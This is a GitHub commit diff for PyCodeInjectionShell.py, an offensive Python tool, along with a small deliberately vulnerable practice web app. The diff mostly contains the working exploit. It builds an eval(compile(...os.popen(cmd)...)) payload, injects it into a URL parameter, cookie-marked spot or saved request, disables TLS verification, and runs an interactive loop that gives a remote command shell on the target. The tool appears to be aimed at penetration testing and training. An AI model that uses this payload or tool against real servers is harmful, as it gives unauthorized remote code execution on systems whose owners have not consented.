Skip to content

Commit

Permalink
Added exceptions to catch errors
Browse files Browse the repository at this point in the history
  • Loading branch information
sethsec committed Nov 8, 2016
1 parent b6106dc commit d257b01
Show file tree
Hide file tree
Showing 3 changed files with 45 additions and 25 deletions.
60 changes: 40 additions & 20 deletions PyCodeInjectionShell.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,8 @@
"""

import requests, re, optparse, urllib, os
import requests, re, optparse, urllib, os, ssl
from HTMLParser import HTMLParser

#Taken from http://stackoverflow.com/questions/2115410/does-python-have-a-module-for-parsing-http-requests-and-responses
from BaseHTTPServer import BaseHTTPRequestHandler
Expand All @@ -24,21 +25,28 @@ def send_error(self, code, message):
self.error_message = message

def parse_url(command,user_url,user_param=None):
print user_param
#print user_param
insert = '''eval(compile("""for x in range(1):\\n import os\\n print("-"*50)\\n os.popen(r'%s').read()""",'PyCodeInjectionShell','single'))''' % command
#insert = '''eval(compile("""for x in range(1):\\n import subprocess\\n print("-"*50)\\n subprocess.Popen(r'%s', shell=True,stdout=subprocess.PIPE).stdout.read()""",'PyCodeInjectionShell','single'))''' % command
encoded = urllib.quote(insert)
#print user_param
if user_param == None:
# Look for the * and replace * with the payload
split_user_url = user_url.split('*')
url = '%s%s%s' % (split_user_url[0],encoded,split_user_url[1])
try:
url = '%s%s%s' % (split_user_url[0],encoded,split_user_url[1])
except:
print "[!] Injection point not defined. Use either the * or -p parameter to show where to inject"
exit()
else:
# Look for the user specified parameter and replace the parameter value with the payload
split_user_url = user_url.split("%s=" % user_param)
suffix = split_user_url[1].split('&')[1]
url = '%s%s=%s&%s' % (split_user_url[0],user_param,encoded,suffix)
print("URL sent to server: " + url)
try:
url = '%s%s=%s&%s' % (split_user_url[0],user_param,encoded,suffix)
except:
print "[!]URL specified"
#print("URL sent to server: " + url)
return url

def parse_request(command,filename,user_param=None):
Expand All @@ -55,7 +63,7 @@ def parse_request(command,filename,user_param=None):
updated2 = re.sub('Accept:.*',str(acceptline.group(0)), updated)
req_obj = HTTPRequest(updated2)
else:
print "Request file and specified parameter are not currently supported together. \nPlease place a * in the request file\n"
print "[!] Request file and specified parameter are not currently supported together. \n[!]Please place a * in the request file\n"
exit()
#print updated2
url = '%s%s' % (req_obj.headers['host'],req_obj.path)
Expand Down Expand Up @@ -88,7 +96,7 @@ def select_command(user_url,user_param=None):
#print match
try:
command_output = str(match.group(0))
print '\n\n{}\nOUTPUT OF: {}\n{}\n'.format('-'*30,command,'-'*30)
print '\n{}\nOUTPUT OF: {}\n{}'.format('-'*30,command,'-'*30)
print command_output.replace('\\n','\n')
# print command_output
except:
Expand All @@ -97,36 +105,48 @@ def select_command(user_url,user_param=None):
print response

def send_request(url,command,headers=None,data=None):
#print headers
# Request files don't specify HTTP vs HTTPS, so I'm trying to try both instead of
# asking the user. If no http or https, first try http, and if that errors, try
# https. Request files can be used for GET's also, so I pull that part out as well.

if 'http' not in url:
try:
http_url = 'http://%s' % url
if (data):
response = requests.post(http_url, headers=headers, data=data)
response = requests.post(http_url, headers=headers, data=data, verify=False)
else:
response = requests.get(http_url, headers=headers)
response = requests.get(http_url, headers=headers, verify=False)
except Exception as error:
print error
try:
https_url = 'https://%s' % url
if (data):
response = requests.post(https_url, headers=headers, data=data)
response = requests.post(https_url, headers=headers, data=data, verify=False)
else:
response = requests.get(https_url, headers=headers)
response = requests.get(https_url, headers=headers, verify=False)
except Exception as error:
print error
else:
response = requests.get(url, headers=headers)
try:
response = requests.get(url, headers=headers, verify=False)
except Exception as error:
print "[!] Failed to establish connection"
print error
exit()
#print response.headers
#print response.content
match = re.search('([---------------------------------------------------][\n])(.*)',response.content)
try:
command_output = str(match.group(0))
print '\n\n{}\nOUTPUT OF: {}\n{}\n'.format('-'*30,command,'-'*30)
print command_output.replace('\\n','\n')
print '\n{}\nOUTPUT OF: {}\n{}'.format('-'*30,command,'-'*30)
#print command_output.replace('\\n','\n')
command_output = command_output.replace('\\n','\n')
h = HTMLParser()
print (h.unescape(command_output))

# print command_output
except Exception as error:
print "\nCould not found command output. Debug info:\n"
print "\n[!] Could not found command output. Debug info:\n"
print "---------------Response Headers---------------"
print response.headers
print "---------------Response Content---------------"
Expand Down Expand Up @@ -175,13 +195,13 @@ def checkFile(filename, raiseOnError=True):
request = options.request
#parameter = options.parameter
#print options.parameter
print
#print
if (options.url) and (options.request):
print "Either enter a URL or a request file, but not both."
exit()

if (options.url) and (options.parameter):
print("URL entered by user: " + options.url)
#print("URL entered by user: " + options.url)
parsed_url = parse_url(options.cmd,options.url,options.parameter)
send_request(parsed_url,options.cmd)

Expand All @@ -192,7 +212,7 @@ def checkFile(filename, raiseOnError=True):
send_request(url,new_cmd)

if (options.url) and not (options.parameter):
print("URL entered by user: " + options.url)
#print("URL entered by user: " + options.url)
parsed_url = parse_url(options.cmd,options.url,options.parameter)
send_request(parsed_url,options.cmd)
if (options.interactive):
Expand All @@ -209,4 +229,4 @@ def checkFile(filename, raiseOnError=True):
while True:
new_cmd = raw_input("Command:")
parsed_url,headers,data = parse_request(new_cmd,options.request,options.parameter)
send_request(parsed_url,options.cmd,headers,data)
send_request(parsed_url,new_cmd,headers,data)
2 changes: 1 addition & 1 deletion VulnApp/PyCodeInjectionApp.py
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,7 @@ def GET(self):
param2 = get_input['param2'] if 'param2' in get_input else None
cookie1 = web.cookies().get('c1') if 'c1' in web.cookies() else None
if not cookie1:
web.setcookie('c1','exploit', expires="", domain=None, secure=False)
web.setcookie('c1','exploit_me', expires="", domain=None, secure=False)

if (param1):
try:
Expand Down
8 changes: 4 additions & 4 deletions VulnApp/templates/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -3,15 +3,15 @@
<body>
<h1> I'm vulnerable to Python Code Injection! </h1>

Vulnerable GET/POST parameters: param1,param2<br>
Vulnerable Cookie: c1<br>
<b>Vulnerable GET parameters:</b> param1,param2<br>
<b>Vulnerable POST parameters:</b> param1,param2<br>
<b>Vulnerable Cookie:</b> c1<br>
<br>
Have fun!<br>
<br>
-sethsec
-@sethsec, @decidedlygray
<br>
<br>
$output

</body>
</html>

0 comments on commit d257b01

Please sign in to comment.